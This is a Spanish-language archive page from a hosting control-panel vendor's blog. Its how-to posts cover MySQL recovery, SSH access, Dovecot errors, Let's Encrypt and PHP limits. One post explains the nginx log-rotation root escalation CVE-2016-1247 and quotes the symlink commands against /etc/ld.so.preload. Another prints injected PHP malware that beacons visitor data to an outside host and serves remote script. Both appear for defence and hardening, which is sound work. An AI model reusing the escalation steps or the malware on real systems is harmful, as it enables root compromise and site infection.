Blog

Archive for Core-Admin

Corrección de problema no recuperable con base de datos MySQL + InnoDB + innodb_force_recovery fallando

¿Problemas graves con #InnoDB #MySQL que no se solucionan con innodb_force_recovery?

A continuación te explicamos cómo repararlo con #CoreAdmin (reimportado de base de datos):

https://support.asplhosting.com/t/procedimiento-para-reimportado-de-bases-de-datos-mysql-core-admin-recuperacion-fallo-grave-no-recuperable-de-innodb/213/1

Posted in: Core-Admin, InnoDB, MySQL

Leave a Comment (0) →

Cómo activar accesso ssh para un hosting con Core-Admin

[extoc]

Introducción a cómo activar el acceso ssh para un alojamiento con Core-Admin

Por defecto, todos los alojamientos creados con Core-Admin tendrán un usuario individual para asegurar que cada alojamiento ejecuta con permisos aislados
Este usuario del alojamiento no tiene manera de acceder a través de ssh, incluso cuando el puerto ssh esté abierto y la clave sea configurada.

Este artículo explica cómo activar o desactivar el acceso SSH para un alojamiento en particular usando Core-Admin.

Prerequisitos

Asegúrese de tener un firewall controlando el puerto SSH (habitualmente 22/tcp) para evitar dejar el puerto abierto a todo el mundo. Este debería ser limitado.
Si no dispone de un firewall, configúrelo con #FirewallManager. Vea el siguiente manual.

Cómo activar el acceso SSH para un alojamiento en particular con Core-Admin

Use los siguientes pasos. Necesitará permisos de administrador para completar estos pasos
Primero abra el gestor de alojamientos #WebHostingManagement del siguiente modo:

Selección_347

Luego, active la opción disponible para gestionar el acceso SSH:

Selección_348

Después de eso, seleccione el alojamiento correcto a configurar y si desea activar o desactivar el acceso SSH, como se indica a continuación.

Selección_349

Una vez el proceso sea completado, el sistema le presentará un conjunto de configuraciones listadas para usar:

Selección_350

Cómo desactivar el acceso SSH para un hosting en particular con Core-Admin

En el caso de que quiera desactivar el acceso SSH, simplemente siga los pasos descritos en el punto anterior, pero “disable” inside “Ssh access”.

Cómo listar los alojamientos con el acceso SSH activado con Core-Admin

Use la opción disponible localizada en la parte superior del árbol:

Selección_351

Posted in: #WebhostingManagement, Administration, Core-Admin, Core-Admin Web Edition, SSH, Web hosting

Leave a Comment (0) →

Solucionando el error de Dovecot panic mail-index-sync-keywords.c

Índice de claves

  • Dovecot índices rotos en el buzón
  • Panic: file mail-index-sync-keywords.c:
  • dovecot_mailbox_broken_indexes

Introducción

Si tiene problemas mientras accede a un buzón y después de revisar los logs, encuentra algo como:

Jul  4 10:44:22 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:44:31 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:45:04 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:45:23 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:45:34 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:46:40 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:48:45 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))

Entonces, uno o más índices o cachés de dovecot están defectuosos. Esto ocurre debido a mover buzones desde distintas versiones de dovecot. También
puede ocurrir con versiones no actualizadas de servidores dovecot.

Resolución

Core-Admin detectará estos errores automáticamente y los notificará como: dovecot_mailbox_broken_indexes

Pinche sobre él, y luego pinche sobre “Reset dovecot indexes”.

Esto limpiará todos los índices de dovecot en la máquina de destino para el buzón que esté fallando.

Si quiere solucionarlo manualmente, localice el buzón asociado al usuario y ejecute el siguiente comando (actualízelo accorde al usuario fallando):

>> find /var/spool/dovecot/mail/core-admin.com/someuser  -name 'dovecot*' -type f -delete" 

Después de esto, ya debería haber corregido el problema. No hace falta reiniciar Dovecot.

Posted in: Core-Admin, Dovecot

Leave a Comment (0) →

Cómo Debian solucionó el CVE-2016-1247, escalado de root por el log de NGINX

Introdución

Este artículo explora el exploit CVE-2016-1247, y cómo fue corregido por Debian y qué lecciones podemos extraer de él para incluso ir un poco más allá para proteger/asegurar sus sistemas.

Este artículo también aplica a CVE-2016-6664-5617, escalado root MySQL, que aunque no es una cuestión específica de Debian, es el mismo fallo conceptual en el wrapper mysql que permitió al autor del PoC (Dawid Golunski) crear un exploit funcional.

Cómo funciona el PoC de Dawid Golunski (CVE-2016-1247 antecedentes)

Recientemente Dawid Golunski (https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html) informó un PoC que escala sin problemas desde el usuario www-data (el usuario nginx por defecto) al la cuenta root completa. ¡Casi nada!

Revisando en detalle el bug reportado, reduciendo los pasos tomados por Dawid para romper el sistema, e ignorando algunos detalles por brevedad, éstos son los siguientes:

  1. Primero, el PoC comienza con la suposición (no muy complicada de conseguir) que se dispone del control de la cuenta www-data mediante el control de un fichero .php, cgi similar, una cuenta de administración WordPress a la web o un mecanismo similar que permita subir ficheros .php para ejecutar comandos arbitrarios.
  2. Desde ahí, Dawid descubrió que la rotación de log hecha por “logrotate” ajusta los siguientes permisos cada día que rota:
         /var/log/nginx/*.log
         create 0640 www-data adm

    Eso es, “logrotate” rotará y creará (este es el punto) un fichero vacío con los permisos www-data:adm. Parece inocuo, pero aquí está el detalle fatal.

  3. Desde ahí, el resto sólo es consecuencia: el PoC de Dawid borra el fichero /var/log/nginx/error.log y crea un enlace a /etc/ld.so.preload:
        rm /var/log/nginx/error.log
        ln -s /etc/ld.so.preload /var/log/nginx/error.log

    NOTA: para aquellos preguntándose, “¿pero para qué demonios es ese fichero?”

    Básicamente ese fichero permite configurar las “librerías” que serán “pre cargadas” antes de que otra librería lo sea antes de lanzar un binario.

    En esencia, este mecanismo permite “interceptar” símbolos/funciones para ser reemplazadas con el código que se desee. Puede ser usado como un mecanismo “para una solución externa” sin modificación de binario, pero, como todo mecanismo, puede ser utilizado para el mal.

    Para más información vea: http://man7.org/linux/man-pages/man8/ld.so.8.html

  4. Una vez que el PoC de Dawid crea ese enlace, ya solo resta esperar para el siguiente día para que la rotación de log ocurra y dejar que el propio sistema “abra la puerta para nosotros” através “de ajustar unos permisos www-data:adm” a /etc/ld.so.preload.

    NOTA: aquí es donde puede darle al play de “Carmina Buruana” para escucharlo de fondo

  5. Desde ahí, el PoC de Dawid crea una pequeña librería que es “precargada” y enlazada a cualquier binario cargado por su sistema, incluyendo código para detectar “cuando ejecuta como root”…y cuando lo haga, “Pumba!”, este código creará una copia con setuid de una shell para que el atacante pueda escalar sin clave.

Pero oiga, el artículo comenzó diciendo “cómo Debian corregió este problema”, ¿no?

Cierto, queríamos hacer un repaso de cómo el PoC funciona para entender mejor la corrección introducida y qué podemos aprender de ella.

Regresando a la solución, si mirando el “ChangeLog” de Debian, lo que han hecho es “asegurar” los permisos de log para que el directorio sea poseido por “root:adm” en lugar de “www-data:adm”:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842295

    +  * debian/nginx-common.postinst:
    +    + CVE-2016-1247: Secure log file handling (owner & permissions)
    +      against privilege escalation attacks. /var/log/nginx is now owned
    +      by root:adm. Thanks ro Dawid Golunski for the report.
    +      Changing /var/log/nginx permissions effectively reopens #701112,
    +      since log files can be world-readable. This is a trade-off until
    +      a better log opening solution is implemented upstream (trac:376).
    +      (Closes: #842295)

Ciertamente, tener el directorio “/var/log/nginx” bajo los permisos de root:adm hace imposible que para www-data pueda borrar el fichero /var/log/nginx/error.log y hacer así que “logrotate” nos cree un fichero /etc/ld.so.preload poseido por www-data (que es la clave).

Sin embargo, ¿hay más lecciones que podamos aprender para asegurar mejor nuestro sistema para defenderse mejor para este tipo de ataques de rotación? Siga leyendo.

Cómo los servicios deberían gestionar los logs (consejos para desarrolladores y administradores)

Uno de los problemas de la configuración nginx es que no separa la gestión de los logs de la producción de los mismos. Al hacer que el servicio nginx gestione el log directamente en lugar de usar syslog hace que se cree un problema de permisos que no puede ser fácilmente solucionado/asegurado.

Si separa la gestión de los logs (de manera que syslog gestione todos los logs producidos por nginx), puede asegurar todos los logs (poseidos y accesibles para root:adm), rotarlos, etc, sin preocuparse de lo que puedan hacer los usuarios (en principio usuarios de privilegio bajo). Éstos solo podrán atacar los ficheros poseídos por ellos mismos (en principio sólo los ficheros de la web) que, además, no son rotados.

Vea https://nginx.org/en/docs/syslog.html (para comenzar a usar syslog en su configuración nginx)

El servicio nunca debería poseer el log
Así que una conclusión general que podemos extraer de esto es: nunca deje que el log sea poseído por el servicio que lo produce, de lo contrario, esto podrá ser usado para escalar usando el mismo mecanismo que el PoC de Dawid Gulonski.

Como ejemplo, lo siguiente es incorrecto:

   service-user:adm   640        # configuración mala/débil

…y una buena definición es:

  root:adm  640   # Esta es una buena/recomendada configuración porque impide al usuario
                  # borrar este log y crear un link a ficheros sensibles.

Pero espero, ¿qué hago con clamav, roundcube, mysql, dovecot (por nombrar algunos)?

Algunos servicios vienen con una configuración de paquete por defecto que no permite cambiar este log a “root:adm” debido a que el servicio necesita abrir y escribir a estos logs.

En cualquier caso, todos estos servicios PUEDEN ser configurados para usar syslog y usted debería considerar configurar su sistema para que lo hagan así.

De hecho, Dawid Golunski también descubrió “exáctamente” el mismo tipo de fallo en los paquetes de MySQL, donde el escalado a root vía log es posible (https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html ).

La configuración de gestión de log por defecto puede no ser buena
Este artículo pretende elevar la atención sobre la configuración por defecto de los logs. Las distribuciones Linux proporcionan una configuración por defecto pero aún así tiene que revisar cuidadósamente cómo el log es gestionado, rotado y poseído.

Primera conclusión: use siempre la separación de servicio para el log (si la seguridad es importante para usted)

Por este motivo es muy importante concentrar la gestión/reporte de log a syslog (o similar) para que pueda separar el servicio de la gestión de log (lo que soluciona todo este lío).

De nuevo, si hace que su servicio ejecute con un usuario de privilegio bajo (por ejemplo: mysql, www-data, clamav,…) y la gestión de logs está gestionada por un servicio independiente (rsyslog, por ejemplo), entonces podrá crear configuraciones de rotado que serán siempre seguras y “que no dependerán de fallos de wrappers o problemas en el empaquetamiento” que, al final, pueden ocasionar que al final se tomen decisiones controvertidas (más sobre esto después).

Segunda conclusión: ¿porqué esperar a que ocurra el problema?

Para evitar que mayores problemas ocurran y no puede controlar cómo el empaquetamiento es hecho, o cómo la supervisión de wrappers es escrita, etc, puede bloquear este tipo de ataques ejecutando lo siguiente:

   touch /etc/ld.so.preload
   chown root:root /etc/ld.so.preload 
   chmod 644 /etc/ld.so.preload        
   chattr +i /etc/ld.so.preload

De esta manera puede asegurarse que el fichero existe y no puede ser actualizado (incluso para el root! a no ser que el atacante ya posea la cuenta de root para quitar el flag +i).

Con este ajuste deshabilitará completamente el PoC de Dawid Golunski y hará más complicado que su sistema sea atacable por este tipo de técnicas de escalado por rotado de log.

Tercera conclusión: “logrotate” debe ser constantemente comprobado

El servicio “logrotate” es parte del esquema para atacar el sistema a través de la creación de configuraciones “débiles” que rotan usando usuarios de privilegios bajos como los siguientes (ejemplo Debian):

  /etc/logrotate.d/mysql-server:	create 640 mysql adm

Como se muestra en https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html, esta configuración puede ser explotada (escalado de log desde usuario mysql). Lo mejor es hacer que el servicio de MySQL use el syslog para gestionar todo el reportado de log y hacer que el propietario del log sea:

   /etc/logrotate.d/mysql-server:	create 640 root adm

Sabiendo esto, puede usar el siguiente comando para revisar aquellas configuraciones “logrotate” que puedan ser posibles brechas en su sistema:

   find /etc/logrotate.d /etc/logrotate.conf -type f -exec grep -H create {} \; | grep -v "create 640 root adm"

Cuarta conclusión: no puede escapar de esto

Puede que esté pensando “bien, pero esto es un tema interno..” o “puedo gestionarlo”. Quizás. En cualquier caso, veamos más detenidamente lo que “realmente” Debian hizo para corregir el error mirando el changlog:

  nginx-common (1.6.2-5+deb8u3) jessie-security; urgency=high

  In order to secure nginx against privilege escalation attacks, we are
  changing the way log file owners & permissions are handled so that www-data
  is not allowed to symlink a logfile. /var/log/nginx is now owned by root:adm
  and its permissions are changed to 0755. The package checks for such symlinks
  on existing installations and informs the admin using debconf.

  That unfortunately may come at a cost in terms of privacy. /var/log/nginx is
  now world-readable, and nginx hardcodes permissions of non-existing logs to
  0644. On systems running logrotate log files are private after the first
  logrotate run, since the new log files are created with 0640 permissions.

   -- Christos Trochalakis   Tue, 04 Oct 2016 15:20:33+0300

Eso es, Debian ha tomado el camino de limitar la creación de enlaces pero a costa de permitir que todos los usuarios puedan acceder al directorio de logs. De hecho, durante la instalación/actualización del parche, el paquete intenta detectar links de hacking que ya puedan existir:

  Template: nginx/log-symlinks
  Type: note
  _Description: Possible insecure nginx log files
    The following log files under /var/log/nginx directory are symlinks
    owned by www-data:
   .
   ${logfiles}
   .
   Since nginx 1.4.4-4 /var/log/nginx was owned by www-data. As a result
   www-data could symlink log files to sensitive locations, which in turn
   could lead to privilege escalation attacks. Although /var/log/nginx
   permissions are now fixed it is possible that such insecure links
   already exist. So, please make sure to check the above locations.

Como puede ver, “Sí”, la actualización de seguridad permite que todos los usuarios del sistema puedan acceder a estos logs y “sí”, la actualización no corrige los posibles hackings, tendrá que revisarlos de todas formas.

Esto puede ser interesante, pero para el alcance de este artículo, como puede ver, si no corrige la configuración de su sistema para “separar la gestión de logs de la producción del mismo” tendrá que tomar malas decisiones que de otro modo son fácilmente corregibles (y que no son la responsabilidad de Debian, por cierto).

Cómo Core-Admin gestiona y mitiga CVE-2016-1247 y CVE-2016-6664-5617

Con todos estos detalles explicados, Core-Admin hace dos cosas para migitar este tipo de atacaques de escalación a root mediante rotado de log:

  1. El comprobador “Renamed process” automáticamente asegura que el fichero /etc/ld.so.preload es protegido. También reporta cualquier cambio que ocurra en ese fichero.
  2. Tiene un comprobado de “log” que asegura que las configuraciones de “logrotate” estén funcionando y tengan declaraciones de propietario conocidas (o al menos aceptadas) que sean seguras, reportando cualquier configuración insegura que pueda conducir a problemas.

Posted in: Core-Admin, Debian, LogRotate, Seguridad

Leave a Comment (0) →

Configurando Let’s encrypt para el certificado del panel Core-Admin

Configurando Let’s encrypt para el certificado del panel Core-Admin

La siguiente guía rápida le proporcionará claves sobre cómo configurar el certificado Let’s encrypt para su panel de administración web de Core-Admin. Es decir, el certificado usado por el panel para proteger las comunicaciones entre su navegador y el servidor de Core-Admin.

Estas indicaciones dependerán del estado actual de su instalación de Core-Admin y de sus preferencias de cómo configurarlo: si desde la consola o desde el propio panel.

Con un servidor de Core-Admin funcionando: actualizar el certificado a Let’s encrypt

Si tiene un Core-Admin funcionando, con acceso web, puede instalar la herramienta de gestión Let’s encrypt y luego usar la opción específica para configurar el certificado let’s encrypt para su servidor local. Esto sería del del siguiente modo:

Después de que haya instalado la herramienta (o ya la tenga instalada), ábrala y siga los siguientes pasos:

Gestión Let's encrypt -> Acciones -> Certificado para el servidor Core-Admin  (y siga las instrucciones)

Con un servidor de Core-Admin funcionando con la herramienta let’s encrypt desplegada: comando de consola

En el caso de que ya tenga Core-Admin con el Let’s encrypt desplegado, puede usar el siguiente comando para solicitar, instalar y configurar el certificado Let’s encrypt para su servidor de Core-Admin:

>> crad-lets-encrypt.pyc -s <su-direccion-de-contacto>

Configurando el certificado Let’s encrypt justo al terminar la instalación de Core-Admin, usando el core-admin-installer.py

Justo después de instalar core-admin, puede usar el siguiente comando para dejarlo todo configurando con let’s encrypt::

>> cd /root
>> wget http://www.core-admin.com/downloads/core-admin-installer.py
>> chmod +x core-admin-installer.py
>> ./core-admin-installer.py --core-admin-le-cert=<su-direccion-de-contacto>

La diferencia entre este comando y crad-lets-encrypt.pyc es que el último sólo está disponible cuando ya tiene instalado la herramienta de gestión Let’s encrypt para core-admin. En caso contrario, crad-lets-encrypt.pyc no estará disponible.

Posted in: Administration, Certificados, Core-Admin, Let's Encrypt, Seguridad, SSL/TLS

Leave a Comment (0) →

Cambiando la hora del envío de notificaciones de cuota excedida de correo

Dentro de core-admin, para la aplicación de gestión de servidor de correo, usted puede configurar tanto la recepción de un correo general de cuotas excedidas (correo administrador) y también puede configurar que el sistema envíe un correo de cuota excedida a los usuarios finales.

Para ello, tiene que abrir la aplicación “Administrador de Correo” y vaya a las opciones de notificación de cuota como se muestra en el siguiente video:

Sin embargo, en el caso de que sea necesario cambiar la hora de notificación de dichas cuotas, o la frecuencia de la misma, tendrá que:

  1. Editar la especificar la configuración cron localizada en el fichero /etc/cron.d/crad-mail-quotas para ajustarla a sus necesidades. Recuerde que las líneas que tiene que editar son las indicada con el comando “crad-mail-admin-mgr.pyc -k -f”
  2. Para evitar que el sistema de paquetes le modifique el fichero tras actualizar, añada flag inmutable al fichero con:
    chattr +i /etc/cron/crad-mail-quotas

 

Posted in: Administrador de Correo, Administration, Core-Admin, Mail Admin

Leave a Comment (0) →

Actualizando el tamaño máximo de POST para un sitio web — php post_max_size — php upload_max_filesize

Configurando el tamaño máximo de POST (post_max_size y upload_max_filesize)

Core-Admin incluye a partir de la revisión 5110, el soporte para poder configurar fácilmente el tamaño de POST, también conocido como el “post_max_size” y el “upload_max_filesize”.

Para ello, hay que entrar como administrador a la plataforma Core-Admin, seleccionar un sitio web en concreto, y acceder a la pestaña “Opciones del sitio”:

Opciones del sitio web, Gestión de alojamientos de Core-Admin

Si la opción no está configurada, aparecerá como “sin configurar”. Ahora, tan solo tiene que seleccionarla pinchando sobre ella, a continuación configurar un valor en megabytes (MB) y darle a “Editar opción”. Con esto habremos acabado.

Posted in: Apache2, Core-Admin, Core-Admin Web Edition, PHP

Leave a Comment (0) →

Configurando el sitio web por defecto cuando se accede con una dirección desconocida

En el caso de que quiera mostrar una página por defecto con contenido personalizado para páginas desconocidas cuando son accedidas en su servidor o que quizás sí que están soportadas pero en otros puertos direcciones del servidor (como acceder con https:// cuando solo están disponibles en http://), entonces, siga los siguientes pasos:

1. Primero, acceda al panel de gestión de alojamientos y luego pulse sobre “Opciones” para luego pulsar en “Configurar servidor”:

options-configure

2. Después de eso, pulse sobre “Configurar sitio por defecto” y ahí dentro, configure el contenido y guarde:

place-content-and-save

Posted in: Core-Admin, Core-Admin Web Edition, Web hosting

Leave a Comment (0) →

Usando Core-Admin para defenderse del hacking web php+#

Tras una revisión de rutina ha encontrado que varias webs han sido actualizadas introduciendo un código como el siguiente o tal vez un cliente molesto cuya web está siendo bloqueada por el navegador por incluir código sospechoso:

<?php
#41f893#
error_reporting(0); ini_set('display_errors',0); $wp_wefl08872 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wefl08872) &amp;&amp; !preg_match ('/bot/i', $wp_wefl08872))){
$wp_wefl0908872="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&amp;referer=".urlencode($_SERVER['HTTP_HOST'])."&amp;ua=".urlencode($wp_wefl08872);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wefl0908872);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08872wefl = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08872wefl,1,3) === 'scr' ){ echo $wp_08872wefl; }
#/41f893#
?>

Estos ataques no suponen un peligro para la máquina si está bien configurada, pero hacen que las webs afectadas ejecuten código remoto de chats o publicidad que hará que google chrome y otros navegadores bloqueen dichas páginas por ejecutar código sospechoso.

Conociendo un poco más este ataque

El problema de este ataque es que actualiza los ficheros originales introduciendo una modificación “quirúrgica” haciendo realmente difícil y molesto volver al estado original.

Una opción es la copia de seguridad, pero con las webs actuales que utilizan todo tipo de caches y ficheros de php-to-string, hacen que no sea sencillo. No es posible simplemente recuperar “encima”. Tiene que regresar a un estado consistente de la última copia. Esto implica eliminar la web actual y recuperar los ficheros de la última copia.

Tras esto no hay que olvidarse de resetear/bloquear todas las contraseñas  y cuentas FTP utilizadas durante el ataque.

Primera línea de defensa: saber cuándo ha sido el ataque

Core-Admin le proporciona este conocimiento según ocurre el ataque. Tras la modificación, el servicio de monitorización de cambios de Core-Admin le informará del “posible ataque Php hash” detectado con una indicación similar a la siguiente:

Core-Admin: detecting php hash attack

Tras recibir esta notificación, tan solo tiene que ejecutar el siguiente comando para detectar el total de ficheros modificados y las cuentas FTP comprometidas. El mismo comando le ayudará a realizar todo este trabajo automáticamente:

>> crad-find-and-fix-phphash-attack.pyc

Tras ejecutar este comando, que solo le informará, puede ejecutar el mismo con las siguientes opciones para que corrija los ficheros y actualice las cuentas FTP:

>> crad-find-and-fix-phphash-attack.pyc --clean --change-ftp-accounts

¿Cómo ha ocurrido el ataque?

Este ataque en concreto está conectado con una red de equipos que se dedican a realizar las modificaciones junto con un virus/troyano que infecta equipos con clientes FTP conocidos.  Las fases de desarrollo son las siguientes:

  1. Al utilizar clientes FTP conocidos que guardan las contraseñas en lugares predefinidos se inicia la primera parte.
  2. También hay sospechas que el uso de Wifis públicas o redes no protegidas permitiría acceder a esta información mientras se inicia la sesión FTP.
  3. Tras esto, si sus equipos quedan expuestos al virus/troyano que extrae esta información, este último enviará esta información de usuarios y contraseñas a la red de servidores de modificación.
  4. Con esta información, los servidores de modificación (así les llamamos) que finalmente atacan son capaces de entrar por FTP, descargar los ficheros, aplicar las modificaciones, y volver a subir los ficheros ya actualizados.

Notas importantes del ataque

Es importante entender que los servidores de modificación no realizarán el ataque nada más recibir las contraseñas. Esperarán a tener varias contraseñas para el mismo sistema y también retrasarán el ataque para desconectar la infección del equipo con el ataque.

De esta manera, esperan que el usuario habitual no conecte ambos sucesos lo que provoque el análisis de los equipos con antivirus/antitroyanos, cerrando así la fuga de información.

Por otra parte, también esperan a tener varias contraseñas para realizar un ataque más masivo de manera que la confusión del ataque o la magnitud del mismo haga que parte de la infección sobreviva.

¿Cómo puedo prevenirlo?

Hay varias acciones que puede realizar para evitar este tipo de ataques.

  1. Procure no guardar las contraseñas en su gestor FTP. Intente guardarlas en una aplicación de gestión de contraseñas que las guarde cifradas.
  2. Evite usar Wifis y conexiones compartidas (como la de los hoteles) para realizar modificaciones FTP.
  3. Si es posible, tras realizar las modificaciones FTP, pase a modo lectura o desactive la cuenta FTP desde el panel Core-Admin. De esta manera, aunque la contraseña sea conocida, no podrán hacer la modificación.

Posted in: Core-Admin, Core-Admin Web Edition, PHP, Seguridad

Leave a Comment (0) →

Detección automática e integrada de blacklist (DNS RBL) para Core-Admin

¿Nunca quiso saber automáticamente cuando sus servidores son listados en listas negras (DNS rbl)?

Para la siguiente revisión de Core-Admin hemos incluido un comprobador muy útil (rbl_check_checker) que permite comprobar contra más de 100 listas negras conocidas si alguna de las IPs de sus servidores fueron listadas. Y en caso de ser listados, el checker le proporcionará la información sobre la lista y cómo proceder para el desbloqueo.

El comprobador también detecta IPs locales y en ese caso, el comprobador utiliza automáticamente un servicio remoto para averiguar la IP pública que ejecuta su servidor. Ahora, con esta información el comprobador es capaz de comprobar esos servidores LAN locales.

El comprobador se integra automáticamente en su Core-Admin y le proporcionará información actualizada para todos los servidores conectados al panel. Véalo en acción:

Mejorando la reputación IP de sus servidores para los envíos

Al tener el checker rbl ejecutando en sus servidores mejorará enormemente la reputación IP de sus servidores debido a que obtendrá información instantánea sobre cualquier listado aplicado para cualquiera de las IPs en ejecución justo cuando ocurre.

Una pronta respuesta es clave para resolver problemas de reputación IP. Cuanto antes los pueda resolver, menos afectado estará su servicio de correo. Con esta información puede reaccionar rápidamente tomando las medidas requeridas y para solicitar el borrado IP.

Posted in: Blacklist, Core-Admin, Seguridad

Leave a Comment (0) →
Page 1 of 2 12